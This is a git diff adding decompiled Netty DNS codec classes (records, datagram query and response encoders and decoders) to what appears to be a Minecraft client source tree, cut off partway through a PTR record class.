--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsOptPseudoRrRecord.java
@@ -0,0 +1,67 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDnsOptPseudoRrRecord
+  extends AbstractDnsRecord
+  implements DnsOptPseudoRecord
+{
+  protected AbstractDnsOptPseudoRrRecord(int maxPayloadSize, int extendedRcode, int version)
+  {
+    super("", DnsRecordType.OPT, maxPayloadSize, packIntoLong(extendedRcode, version));
+  }
+  
+  protected AbstractDnsOptPseudoRrRecord(int maxPayloadSize) {
+    super("", DnsRecordType.OPT, maxPayloadSize, 0L);
+  }
+  
+
+  private static long packIntoLong(int val, int val2)
+  {
+    return ((val & 0xFF) << 24 | (val2 & 0xFF) << 16 | 0x0 | 0x0) & 0xFFFFFFFF;
+  }
+  
+  public int extendedRcode()
+  {
+    return (short)((int)timeToLive() >> 24 & 0xFF);
+  }
+  
+  public int version()
+  {
+    return (short)((int)timeToLive() >> 16 & 0xFF);
+  }
+  
+  public int flags()
+  {
+    return (short)((short)(int)timeToLive() & 0xFF);
+  }
+  
+  public String toString()
+  {
+    return toStringBuilder().toString();
+  }
+  
+  final StringBuilder toStringBuilder() {
+    return new StringBuilder(64).append(StringUtil.simpleClassName(this)).append('(').append("OPT flags:").append(flags()).append(" version:").append(version()).append(" extendedRecode:").append(extendedRcode()).append(" udp:").append(dnsClass()).append(')');
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/AbstractDnsRecord.java b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsRecord.java
new file mode 100644
index 0000000..c1ebf1f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsRecord.java
@@ -0,0 +1,154 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDnsRecord
+  implements DnsRecord
+{
+  private final String name;
+  private final DnsRecordType type;
+  private final short dnsClass;
+  private final long timeToLive;
+  private int hashCode;
+  
+  protected AbstractDnsRecord(String name, DnsRecordType type, long timeToLive)
+  {
+    this(name, type, 1, timeToLive);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected AbstractDnsRecord(String name, DnsRecordType type, int dnsClass, long timeToLive)
+  {
+    if (timeToLive < 0L) {
+      throw new IllegalArgumentException("timeToLive: " + timeToLive + " (expected: >= 0)");
+    }
+    
+
+
+
+    this.name = appendTrailingDot(IDN.toASCII((String)ObjectUtil.checkNotNull(name, "name")));
+    this.type = ((DnsRecordType)ObjectUtil.checkNotNull(type, "type"));
+    this.dnsClass = ((short)dnsClass);
+    this.timeToLive = timeToLive;
+  }
+  
+  private static String appendTrailingDot(String name) {
+    if ((name.length() > 0) && (name.charAt(name.length() - 1) != '.')) {
+      return name + '.';
+    }
+    return name;
+  }
+  
+  public String name()
+  {
+    return name;
+  }
+  
+  public DnsRecordType type()
+  {
+    return type;
+  }
+  
+  public int dnsClass()
+  {
+    return dnsClass & 0xFFFF;
+  }
+  
+  public long timeToLive()
+  {
+    return timeToLive;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    
+    if (!(obj instanceof DnsRecord)) {
+      return false;
+    }
+    
+    DnsRecord that = (DnsRecord)obj;
+    int hashCode = this.hashCode;
+    if ((hashCode != 0) && (hashCode != that.hashCode())) {
+      return false;
+    }
+    
+    return (type().intValue() == that.type().intValue()) && (dnsClass() == that.dnsClass()) && (name().equals(that.name()));
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashCode = this.hashCode;
+    if (hashCode != 0) {
+      return hashCode;
+    }
+    
+    return this.hashCode = name.hashCode() * 31 + type().intValue() * 31 + dnsClass();
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(64);
+    
+    buf.append(StringUtil.simpleClassName(this)).append('(').append(name()).append(' ').append(timeToLive()).append(' ');
+    
+
+
+
+
+
+    DnsMessageUtil.appendRecordClass(buf, dnsClass()).append(' ').append(type().name()).append(')');
+    
+
+
+
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQuery.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQuery.java
new file mode 100644
index 0000000..1156871
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQuery.java
@@ -0,0 +1,192 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.channel.AddressedEnvelope;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DatagramDnsQuery
+  extends DefaultDnsQuery
+  implements AddressedEnvelope<DatagramDnsQuery, InetSocketAddress>
+{
+  private final InetSocketAddress sender;
+  private final InetSocketAddress recipient;
+  
+  public DatagramDnsQuery(InetSocketAddress sender, InetSocketAddress recipient, int id)
+  {
+    this(sender, recipient, id, DnsOpCode.QUERY);
+  }
+  
+
+
+
+
+
+
+
+
+  public DatagramDnsQuery(InetSocketAddress sender, InetSocketAddress recipient, int id, DnsOpCode opCode)
+  {
+    super(id, opCode);
+    
+    if ((recipient == null) && (sender == null)) {
+      throw new NullPointerException("recipient and sender");
+    }
+    
+    this.sender = sender;
+    this.recipient = recipient;
+  }
+  
+  public DatagramDnsQuery content()
+  {
+    return this;
+  }
+  
+  public InetSocketAddress sender()
+  {
+    return sender;
+  }
+  
+  public InetSocketAddress recipient()
+  {
+    return recipient;
+  }
+  
+  public DatagramDnsQuery setId(int id)
+  {
+    return (DatagramDnsQuery)super.setId(id);
+  }
+  
+  public DatagramDnsQuery setOpCode(DnsOpCode opCode)
+  {
+    return (DatagramDnsQuery)super.setOpCode(opCode);
+  }
+  
+  public DatagramDnsQuery setRecursionDesired(boolean recursionDesired)
+  {
+    return (DatagramDnsQuery)super.setRecursionDesired(recursionDesired);
+  }
+  
+  public DatagramDnsQuery setZ(int z)
+  {
+    return (DatagramDnsQuery)super.setZ(z);
+  }
+  
+  public DatagramDnsQuery setRecord(DnsSection section, DnsRecord record)
+  {
+    return (DatagramDnsQuery)super.setRecord(section, record);
+  }
+  
+  public DatagramDnsQuery addRecord(DnsSection section, DnsRecord record)
+  {
+    return (DatagramDnsQuery)super.addRecord(section, record);
+  }
+  
+  public DatagramDnsQuery addRecord(DnsSection section, int index, DnsRecord record)
+  {
+    return (DatagramDnsQuery)super.addRecord(section, index, record);
+  }
+  
+  public DatagramDnsQuery clear(DnsSection section)
+  {
+    return (DatagramDnsQuery)super.clear(section);
+  }
+  
+  public DatagramDnsQuery clear()
+  {
+    return (DatagramDnsQuery)super.clear();
+  }
+  
+  public DatagramDnsQuery touch()
+  {
+    return (DatagramDnsQuery)super.touch();
+  }
+  
+  public DatagramDnsQuery touch(Object hint)
+  {
+    return (DatagramDnsQuery)super.touch(hint);
+  }
+  
+  public DatagramDnsQuery retain()
+  {
+    return (DatagramDnsQuery)super.retain();
+  }
+  
+  public DatagramDnsQuery retain(int increment)
+  {
+    return (DatagramDnsQuery)super.retain(increment);
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    
+    if (!super.equals(obj)) {
+      return false;
+    }
+    
+    if (!(obj instanceof AddressedEnvelope)) {
+      return false;
+    }
+    
+
+    AddressedEnvelope<?, SocketAddress> that = (AddressedEnvelope)obj;
+    if (sender() == null) {
+      if (that.sender() != null) {
+        return false;
+      }
+    } else if (!sender().equals(that.sender())) {
+      return false;
+    }
+    
+    if (recipient() == null) {
+      if (that.recipient() != null) {
+        return false;
+      }
+    } else if (!recipient().equals(that.recipient())) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int hashCode = super.hashCode();
+    if (sender() != null) {
+      hashCode = hashCode * 31 + sender().hashCode();
+    }
+    if (recipient() != null) {
+      hashCode = hashCode * 31 + recipient().hashCode();
+    }
+    return hashCode;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryDecoder.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryDecoder.java
new file mode 100644
index 0000000..ffdd62e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryDecoder.java
@@ -0,0 +1,115 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetSocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class DatagramDnsQueryDecoder
+  extends MessageToMessageDecoder<DatagramPacket>
+{
+  private final DnsRecordDecoder recordDecoder;
+  
+  public DatagramDnsQueryDecoder()
+  {
+    this(DnsRecordDecoder.DEFAULT);
+  }
+  
+
+
+  public DatagramDnsQueryDecoder(DnsRecordDecoder recordDecoder)
+  {
+    this.recordDecoder = ((DnsRecordDecoder)ObjectUtil.checkNotNull(recordDecoder, "recordDecoder"));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, DatagramPacket packet, List<Object> out) throws Exception
+  {
+    ByteBuf buf = (ByteBuf)packet.content();
+    
+    DnsQuery query = newQuery(packet, buf);
+    boolean success = false;
+    try {
+      int questionCount = buf.readUnsignedShort();
+      int answerCount = buf.readUnsignedShort();
+      int authorityRecordCount = buf.readUnsignedShort();
+      int additionalRecordCount = buf.readUnsignedShort();
+      
+      decodeQuestions(query, buf, questionCount);
+      decodeRecords(query, DnsSection.ANSWER, buf, answerCount);
+      decodeRecords(query, DnsSection.AUTHORITY, buf, authorityRecordCount);
+      decodeRecords(query, DnsSection.ADDITIONAL, buf, additionalRecordCount);
+      
+      out.add(query);
+      success = true;
+    } finally {
+      if (!success) {
+        query.release();
+      }
+    }
+  }
+  
+  private static DnsQuery newQuery(DatagramPacket packet, ByteBuf buf) {
+    int id = buf.readUnsignedShort();
+    
+    int flags = buf.readUnsignedShort();
+    if (flags >> 15 == 1) {
+      throw new CorruptedFrameException("not a query");
+    }
+    DnsQuery query = new DatagramDnsQuery((InetSocketAddress)packet.sender(), (InetSocketAddress)packet.recipient(), id, DnsOpCode.valueOf((byte)(flags >> 11 & 0xF)));
+    
+
+
+
+
+    query.setRecursionDesired((flags >> 8 & 0x1) == 1);
+    query.setZ(flags >> 4 & 0x7);
+    return query;
+  }
+  
+  private void decodeQuestions(DnsQuery query, ByteBuf buf, int questionCount) throws Exception {
+    for (int i = questionCount; i > 0; i--) {
+      query.addRecord(DnsSection.QUESTION, recordDecoder.decodeQuestion(buf));
+    }
+  }
+  
+  private void decodeRecords(DnsQuery query, DnsSection section, ByteBuf buf, int count) throws Exception
+  {
+    for (int i = count; i > 0; i--) {
+      DnsRecord r = recordDecoder.decodeRecord(buf);
+      if (r == null) {
+        break;
+      }
+      
+
+      query.addRecord(section, r);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryEncoder.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryEncoder.java
new file mode 100644
index 0000000..2bb659f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsQueryEncoder.java
@@ -0,0 +1,122 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetSocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class DatagramDnsQueryEncoder
+  extends MessageToMessageEncoder<AddressedEnvelope<DnsQuery, InetSocketAddress>>
+{
+  private final DnsRecordEncoder recordEncoder;
+  
+  public DatagramDnsQueryEncoder()
+  {
+    this(DnsRecordEncoder.DEFAULT);
+  }
+  
+
+
+  public DatagramDnsQueryEncoder(DnsRecordEncoder recordEncoder)
+  {
+    this.recordEncoder = ((DnsRecordEncoder)ObjectUtil.checkNotNull(recordEncoder, "recordEncoder"));
+  }
+  
+
+
+  protected void encode(ChannelHandlerContext ctx, AddressedEnvelope<DnsQuery, InetSocketAddress> in, List<Object> out)
+    throws Exception
+  {
+    InetSocketAddress recipient = (InetSocketAddress)in.recipient();
+    DnsQuery query = (DnsQuery)in.content();
+    ByteBuf buf = allocateBuffer(ctx, in);
+    
+    boolean success = false;
+    try {
+      encodeHeader(query, buf);
+      encodeQuestions(query, buf);
+      encodeRecords(query, DnsSection.ADDITIONAL, buf);
+      success = true;
+    } finally {
+      if (!success) {
+        buf.release();
+      }
+    }
+    
+    out.add(new DatagramPacket(buf, recipient, null));
+  }
+  
+
+
+
+
+  protected ByteBuf allocateBuffer(ChannelHandlerContext ctx, AddressedEnvelope<DnsQuery, InetSocketAddress> msg)
+    throws Exception
+  {
+    return ctx.alloc().ioBuffer(1024);
+  }
+  
+
+
+
+
+
+  private static void encodeHeader(DnsQuery query, ByteBuf buf)
+  {
+    buf.writeShort(query.id());
+    int flags = 0;
+    flags |= (query.opCode().byteValue() & 0xFF) << 14;
+    if (query.isRecursionDesired()) {
+      flags |= 0x100;
+    }
+    buf.writeShort(flags);
+    buf.writeShort(query.count(DnsSection.QUESTION));
+    buf.writeShort(0);
+    buf.writeShort(0);
+    buf.writeShort(query.count(DnsSection.ADDITIONAL));
+  }
+  
+  private void encodeQuestions(DnsQuery query, ByteBuf buf) throws Exception {
+    int count = query.count(DnsSection.QUESTION);
+    for (int i = 0; i < count; i++) {
+      recordEncoder.encodeQuestion((DnsQuestion)query.recordAt(DnsSection.QUESTION, i), buf);
+    }
+  }
+  
+  private void encodeRecords(DnsQuery query, DnsSection section, ByteBuf buf) throws Exception {
+    int count = query.count(section);
+    for (int i = 0; i < count; i++) {
+      recordEncoder.encodeRecord(query.recordAt(section, i), buf);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponse.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponse.java
new file mode 100644
index 0000000..e0bb549
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponse.java
@@ -0,0 +1,226 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.channel.AddressedEnvelope;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DatagramDnsResponse
+  extends DefaultDnsResponse
+  implements AddressedEnvelope<DatagramDnsResponse, InetSocketAddress>
+{
+  private final InetSocketAddress sender;
+  private final InetSocketAddress recipient;
+  
+  public DatagramDnsResponse(InetSocketAddress sender, InetSocketAddress recipient, int id)
+  {
+    this(sender, recipient, id, DnsOpCode.QUERY, DnsResponseCode.NOERROR);
+  }
+  
+
+
+
+
+
+
+
+  public DatagramDnsResponse(InetSocketAddress sender, InetSocketAddress recipient, int id, DnsOpCode opCode)
+  {
+    this(sender, recipient, id, opCode, DnsResponseCode.NOERROR);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public DatagramDnsResponse(InetSocketAddress sender, InetSocketAddress recipient, int id, DnsOpCode opCode, DnsResponseCode responseCode)
+  {
+    super(id, opCode, responseCode);
+    
+    if ((recipient == null) && (sender == null)) {
+      throw new NullPointerException("recipient and sender");
+    }
+    
+    this.sender = sender;
+    this.recipient = recipient;
+  }
+  
+  public DatagramDnsResponse content()
+  {
+    return this;
+  }
+  
+  public InetSocketAddress sender()
+  {
+    return sender;
+  }
+  
+  public InetSocketAddress recipient()
+  {
+    return recipient;
+  }
+  
+  public DatagramDnsResponse setAuthoritativeAnswer(boolean authoritativeAnswer)
+  {
+    return (DatagramDnsResponse)super.setAuthoritativeAnswer(authoritativeAnswer);
+  }
+  
+  public DatagramDnsResponse setTruncated(boolean truncated)
+  {
+    return (DatagramDnsResponse)super.setTruncated(truncated);
+  }
+  
+  public DatagramDnsResponse setRecursionAvailable(boolean recursionAvailable)
+  {
+    return (DatagramDnsResponse)super.setRecursionAvailable(recursionAvailable);
+  }
+  
+  public DatagramDnsResponse setCode(DnsResponseCode code)
+  {
+    return (DatagramDnsResponse)super.setCode(code);
+  }
+  
+  public DatagramDnsResponse setId(int id)
+  {
+    return (DatagramDnsResponse)super.setId(id);
+  }
+  
+  public DatagramDnsResponse setOpCode(DnsOpCode opCode)
+  {
+    return (DatagramDnsResponse)super.setOpCode(opCode);
+  }
+  
+  public DatagramDnsResponse setRecursionDesired(boolean recursionDesired)
+  {
+    return (DatagramDnsResponse)super.setRecursionDesired(recursionDesired);
+  }
+  
+  public DatagramDnsResponse setZ(int z)
+  {
+    return (DatagramDnsResponse)super.setZ(z);
+  }
+  
+  public DatagramDnsResponse setRecord(DnsSection section, DnsRecord record)
+  {
+    return (DatagramDnsResponse)super.setRecord(section, record);
+  }
+  
+  public DatagramDnsResponse addRecord(DnsSection section, DnsRecord record)
+  {
+    return (DatagramDnsResponse)super.addRecord(section, record);
+  }
+  
+  public DatagramDnsResponse addRecord(DnsSection section, int index, DnsRecord record)
+  {
+    return (DatagramDnsResponse)super.addRecord(section, index, record);
+  }
+  
+  public DatagramDnsResponse clear(DnsSection section)
+  {
+    return (DatagramDnsResponse)super.clear(section);
+  }
+  
+  public DatagramDnsResponse clear()
+  {
+    return (DatagramDnsResponse)super.clear();
+  }
+  
+  public DatagramDnsResponse touch()
+  {
+    return (DatagramDnsResponse)super.touch();
+  }
+  
+  public DatagramDnsResponse touch(Object hint)
+  {
+    return (DatagramDnsResponse)super.touch(hint);
+  }
+  
+  public DatagramDnsResponse retain()
+  {
+    return (DatagramDnsResponse)super.retain();
+  }
+  
+  public DatagramDnsResponse retain(int increment)
+  {
+    return (DatagramDnsResponse)super.retain(increment);
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    
+    if (!super.equals(obj)) {
+      return false;
+    }
+    
+    if (!(obj instanceof AddressedEnvelope)) {
+      return false;
+    }
+    
+
+    AddressedEnvelope<?, SocketAddress> that = (AddressedEnvelope)obj;
+    if (sender() == null) {
+      if (that.sender() != null) {
+        return false;
+      }
+    } else if (!sender().equals(that.sender())) {
+      return false;
+    }
+    
+    if (recipient() == null) {
+      if (that.recipient() != null) {
+        return false;
+      }
+    } else if (!recipient().equals(that.recipient())) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int hashCode = super.hashCode();
+    if (sender() != null) {
+      hashCode = hashCode * 31 + sender().hashCode();
+    }
+    if (recipient() != null) {
+      hashCode = hashCode * 31 + recipient().hashCode();
+    }
+    return hashCode;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseDecoder.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseDecoder.java
new file mode 100644
index 0000000..ed274a9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseDecoder.java
@@ -0,0 +1,119 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetSocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class DatagramDnsResponseDecoder
+  extends MessageToMessageDecoder<DatagramPacket>
+{
+  private final DnsRecordDecoder recordDecoder;
+  
+  public DatagramDnsResponseDecoder()
+  {
+    this(DnsRecordDecoder.DEFAULT);
+  }
+  
+
+
+  public DatagramDnsResponseDecoder(DnsRecordDecoder recordDecoder)
+  {
+    this.recordDecoder = ((DnsRecordDecoder)ObjectUtil.checkNotNull(recordDecoder, "recordDecoder"));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, DatagramPacket packet, List<Object> out) throws Exception
+  {
+    ByteBuf buf = (ByteBuf)packet.content();
+    
+    DnsResponse response = newResponse(packet, buf);
+    boolean success = false;
+    try {
+      int questionCount = buf.readUnsignedShort();
+      int answerCount = buf.readUnsignedShort();
+      int authorityRecordCount = buf.readUnsignedShort();
+      int additionalRecordCount = buf.readUnsignedShort();
+      
+      decodeQuestions(response, buf, questionCount);
+      decodeRecords(response, DnsSection.ANSWER, buf, answerCount);
+      decodeRecords(response, DnsSection.AUTHORITY, buf, authorityRecordCount);
+      decodeRecords(response, DnsSection.ADDITIONAL, buf, additionalRecordCount);
+      
+      out.add(response);
+      success = true;
+    } finally {
+      if (!success) {
+        response.release();
+      }
+    }
+  }
+  
+  private static DnsResponse newResponse(DatagramPacket packet, ByteBuf buf) {
+    int id = buf.readUnsignedShort();
+    
+    int flags = buf.readUnsignedShort();
+    if (flags >> 15 == 0) {
+      throw new CorruptedFrameException("not a response");
+    }
+    
+    DnsResponse response = new DatagramDnsResponse((InetSocketAddress)packet.sender(), (InetSocketAddress)packet.recipient(), id, DnsOpCode.valueOf((byte)(flags >> 11 & 0xF)), DnsResponseCode.valueOf((byte)(flags & 0xF)));
+    
+
+
+
+
+    response.setRecursionDesired((flags >> 8 & 0x1) == 1);
+    response.setAuthoritativeAnswer((flags >> 10 & 0x1) == 1);
+    response.setTruncated((flags >> 9 & 0x1) == 1);
+    response.setRecursionAvailable((flags >> 7 & 0x1) == 1);
+    response.setZ(flags >> 4 & 0x7);
+    return response;
+  }
+  
+  private void decodeQuestions(DnsResponse response, ByteBuf buf, int questionCount) throws Exception {
+    for (int i = questionCount; i > 0; i--) {
+      response.addRecord(DnsSection.QUESTION, recordDecoder.decodeQuestion(buf));
+    }
+  }
+  
+  private void decodeRecords(DnsResponse response, DnsSection section, ByteBuf buf, int count) throws Exception
+  {
+    for (int i = count; i > 0; i--) {
+      DnsRecord r = recordDecoder.decodeRecord(buf);
+      if (r == null) {
+        break;
+      }
+      
+
+      response.addRecord(section, r);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseEncoder.java b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseEncoder.java
new file mode 100644
index 0000000..3b39003
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DatagramDnsResponseEncoder.java
@@ -0,0 +1,135 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetSocketAddress;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class DatagramDnsResponseEncoder
+  extends MessageToMessageEncoder<AddressedEnvelope<DnsResponse, InetSocketAddress>>
+{
+  private final DnsRecordEncoder recordEncoder;
+  
+  public DatagramDnsResponseEncoder()
+  {
+    this(DnsRecordEncoder.DEFAULT);
+  }
+  
+
+
+  public DatagramDnsResponseEncoder(DnsRecordEncoder recordEncoder)
+  {
+    this.recordEncoder = ((DnsRecordEncoder)ObjectUtil.checkNotNull(recordEncoder, "recordEncoder"));
+  }
+  
+
+  protected void encode(ChannelHandlerContext ctx, AddressedEnvelope<DnsResponse, InetSocketAddress> in, List<Object> out)
+    throws Exception
+  {
+    InetSocketAddress recipient = (InetSocketAddress)in.recipient();
+    DnsResponse response = (DnsResponse)in.content();
+    ByteBuf buf = allocateBuffer(ctx, in);
+    
+    boolean success = false;
+    try {
+      encodeHeader(response, buf);
+      encodeQuestions(response, buf);
+      encodeRecords(response, DnsSection.ANSWER, buf);
+      encodeRecords(response, DnsSection.AUTHORITY, buf);
+      encodeRecords(response, DnsSection.ADDITIONAL, buf);
+      success = true;
+    } finally {
+      if (!success) {
+        buf.release();
+      }
+    }
+    
+    out.add(new DatagramPacket(buf, recipient, null));
+  }
+  
+
+
+
+
+  protected ByteBuf allocateBuffer(ChannelHandlerContext ctx, AddressedEnvelope<DnsResponse, InetSocketAddress> msg)
+    throws Exception
+  {
+    return ctx.alloc().ioBuffer(1024);
+  }
+  
+
+
+
+
+
+  private static void encodeHeader(DnsResponse response, ByteBuf buf)
+  {
+    buf.writeShort(response.id());
+    int flags = 32768;
+    flags |= (response.opCode().byteValue() & 0xFF) << 11;
+    if (response.isAuthoritativeAnswer()) {
+      flags |= 0x400;
+    }
+    if (response.isTruncated()) {
+      flags |= 0x200;
+    }
+    if (response.isRecursionDesired()) {
+      flags |= 0x100;
+    }
+    if (response.isRecursionAvailable()) {
+      flags |= 0x80;
+    }
+    flags |= response.z() << 4;
+    flags |= response.code().intValue();
+    buf.writeShort(flags);
+    buf.writeShort(response.count(DnsSection.QUESTION));
+    buf.writeShort(response.count(DnsSection.ANSWER));
+    buf.writeShort(response.count(DnsSection.AUTHORITY));
+    buf.writeShort(response.count(DnsSection.ADDITIONAL));
+  }
+  
+  private void encodeQuestions(DnsResponse response, ByteBuf buf) throws Exception {
+    int count = response.count(DnsSection.QUESTION);
+    for (int i = 0; i < count; i++) {
+      recordEncoder.encodeQuestion((DnsQuestion)response.recordAt(DnsSection.QUESTION, i), buf);
+    }
+  }
+  
+  private void encodeRecords(DnsResponse response, DnsSection section, ByteBuf buf) throws Exception {
+    int count = response.count(section);
+    for (int i = 0; i < count; i++) {
+      recordEncoder.encodeRecord(response.recordAt(section, i), buf);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsOptEcsRecord.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsOptEcsRecord.java
new file mode 100644
index 0000000..8eef7b5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsOptEcsRecord.java
@@ -0,0 +1,98 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.channel.socket.InternetProtocolFamily;
+import java.net.InetAddress;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultDnsOptEcsRecord
+  extends AbstractDnsOptPseudoRrRecord
+  implements DnsOptEcsRecord
+{
+  private final int srcPrefixLength;
+  private final byte[] address;
+  
+  public DefaultDnsOptEcsRecord(int maxPayloadSize, int extendedRcode, int version, int srcPrefixLength, byte[] address)
+  {
+    super(maxPayloadSize, extendedRcode, version);
+    this.srcPrefixLength = srcPrefixLength;
+    this.address = ((byte[])verifyAddress(address).clone());
+  }
+  
+
+
+
+
+
+
+  public DefaultDnsOptEcsRecord(int maxPayloadSize, int srcPrefixLength, byte[] address)
+  {
+    this(maxPayloadSize, 0, 0, srcPrefixLength, address);
+  }
+  
+
+
+
+
+
+
+  public DefaultDnsOptEcsRecord(int maxPayloadSize, InternetProtocolFamily protocolFamily)
+  {
+    this(maxPayloadSize, 0, 0, 0, protocolFamily.localhost().getAddress());
+  }
+  
+  private static byte[] verifyAddress(byte[] bytes) {
+    if ((bytes.length == 4) || (bytes.length == 16)) {
+      return bytes;
+    }
+    throw new IllegalArgumentException("bytes.length must either 4 or 16");
+  }
+  
+  public int sourcePrefixLength()
+  {
+    return srcPrefixLength;
+  }
+  
+  public int scopePrefixLength()
+  {
+    return 0;
+  }
+  
+  public byte[] address()
+  {
+    return (byte[])address.clone();
+  }
+  
+  public String toString()
+  {
+    StringBuilder sb = toStringBuilder();
+    sb.setLength(sb.length() - 1);
+    return " address:" + Arrays.toString(address) + " sourcePrefixLength:" + sourcePrefixLength() + " scopePrefixLength:" + scopePrefixLength() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/DefaultDnsPtrRecord.java b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsPtrRecord.java
new file mode 100644
index 0000000..95d12cd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/DefaultDnsPtrRecord.java
@@ -0,0 +1,73 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsPtrRecord
+  extends AbstractDnsRecord
+  implements DnsPtrRecord
+{
+  private final String hostname;
+  
+  public DefaultDnsPtrRecord(String name, int dnsClass, long timeToLive, String hostname)
+  {
+    super(name, DnsRecordType.PTR, dnsClass, timeToLive);
+    this.hostname = ((String)ObjectUtil.checkNotNull(hostname, "hostname"));
+  }
+  
+  public String hostname()
+  {
+    return hostname;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(64).append(StringUtil.simpleClassName(this)).append('(');
